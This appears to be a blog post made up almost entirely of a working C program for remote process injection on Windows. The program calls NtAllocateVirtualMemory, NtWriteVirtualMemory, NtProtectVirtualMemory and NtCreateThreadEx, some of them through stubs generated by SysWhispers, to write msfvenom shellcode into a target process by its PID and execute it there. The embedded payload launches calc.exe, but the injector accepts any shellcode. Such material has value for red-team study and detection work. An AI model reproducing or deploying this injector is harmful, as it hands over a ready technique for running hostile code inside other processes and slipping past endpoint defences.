Syscalls-ProcessInjection
Syscalls-ProcessInjection
Syscalls-ProcessInjection
Syscalls-processinjection.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
/*
Explaination:
- We are going to implement remote process injection with syscalls. Below will be the WinAPI and their syscall replacement
VirtualAlloc -> NtAllocateVirtualMemory
VirutalProtect -> NtProtectVirutalMemory
WriteProcessMemory -> NtWriteVirtualMemory
CreateThread -> NtCreateThreadEx
python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o SysWhispers -v
*/
#include <Windows.h>
#include <stdio.h>
#include "structs.h"
// Remote target process ID
#define PROCESS_ID 10360
// msfvenom, calc.exe
unsigned char shellcode[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
// A structure that keeps the syscalls used
typedef struct _Syscall {
fnNtAllocateVirtualMemory pNtAllocateVirtualMemory;
fnNtProtectVirtualMemory pNtProtectVirtualMemory;
fnNtWriteVirtualMemory pNtWriteVirtualMemory;
fnNtCreateThreadEx pNtCreateThreadEx;
} Syscall, *PSyscall;
/*
Function: to populate the St structure
*/
BOOL InitSyscallStruct(_Out_ PSyscall St) {
// Get handle to address of ntdll
HMODULE hNtdll = GetModuleHandle(L"NTDLL.DLL");
if (!hNtdll) {
printf("[!] GetModuleHandle Failed %d \n", GetLastError());
return FALSE;
}
// Resolve each NT function address
St->pNtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
St->pNtProtectVirtualMemory = (fnNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
St->pNtWriteVirtualMemory = (fnNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
St->pNtCreateThreadEx = (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
// Verify struct hold address (not empty)
if (!St->pNtAllocateVirtualMemory ||
!St->pNtProtectVirtualMemory ||
!St->pNtWriteVirtualMemory ||
!St->pNtCreateThreadEx)
{
printf("[!] One or more Nt functions were not found!\n");
return FALSE;
}
return TRUE;
}
/*
Function: Inject shellcode via syscall into remote thread
hProcess -> Handle to target process
pShellcode -> Pointer to shellcode memory address
sShellcodeSize -> Hold size of shellcode in bytes
1. Allocate memory in remote process
2. Write shellcode into allocated memory
3. Update memory to be executable
4. Create remotethread at shellcode entry point
*/
BOOL SyscallRemoteInjection(_In_ HANDLE hProcess, _In_ PVOID pShellcode, _In_ SIZE_T sShellcodeSize) {
Syscall St = { 0 };
NTSTATUS STATUS = 0x00;
PVOID pAddress = NULL;
ULONG uOldProtect = 0;
SIZE_T sSize = sShellcodeSize, sNumOfBytesWritten = 0;
HANDLE hThread = NULL;
// Initialize the syscall structure with function pointers from ntdll.dll
if (!InitSyscallStruct(&St)) {
printf("[!] Failed To initilize Syscall Struct ! \n");
return FALSE;
}
// Allocating memory through Syscall
if ((STATUS = St.pNtAllocateVirtualMemory(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
printf("[!] pNtAllocateVirtualMemory Failed 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Memory Allocated At: 0x%p of Size (Bytes): %d \n", pAddress, sSize);
printf("[+] Press <Enter> To Write Payload \n");
getchar();
// Writing shellcode through Syscall
if ((STATUS = St.pNtWriteVirtualMemory(hProcess, pAddress, pShellcode, sShellcodeSize, &sNumOfBytesWritten)) != 0 || sNumOfBytesWritten != sShellcodeSize) {
printf("[!] pNtWriteVirtualMemory Failed 0x%0.8X \n", STATUS);
return FALSE;
}
// Update permissions to RWX through Syscall
if ((STATUS = St.pNtProtectVirtualMemory(hProcess, &pAddress, &sShellcodeSize, PAGE_EXECUTE_READWRITE, &uOldProtect)) != 0) {
printf("[!] pNtProtectVirtualMemory Failed 0x%0.8X \n", STATUS);
return FALSE;
}
// Executing shellcode into remote thread
printf("[+] Press <Enter> To Inject Shellcode! \n");
getchar();
printf("[+] Thread Entry Point 0x%p \n", pAddress);
// Creating remote thread
if ((STATUS = St.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, 0, hProcess, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] pNtCreateThreadEx Failed 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Thread Created With PID: %d \n", GetThreadId(hThread));
return TRUE;
}
int main() {
HANDLE hProcess = NULL;
// Open handle to the target process with full access rights
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PROCESS_ID);
if (!SyscallRemoteInjection(hProcess, shellcode, sizeof(shellcode))) {
return -1;
}
printf("[+] Press <Enter> To Exit! \n");
getchar();
return 0;
}
This post is licensed under
CC BY 4.0
by the author.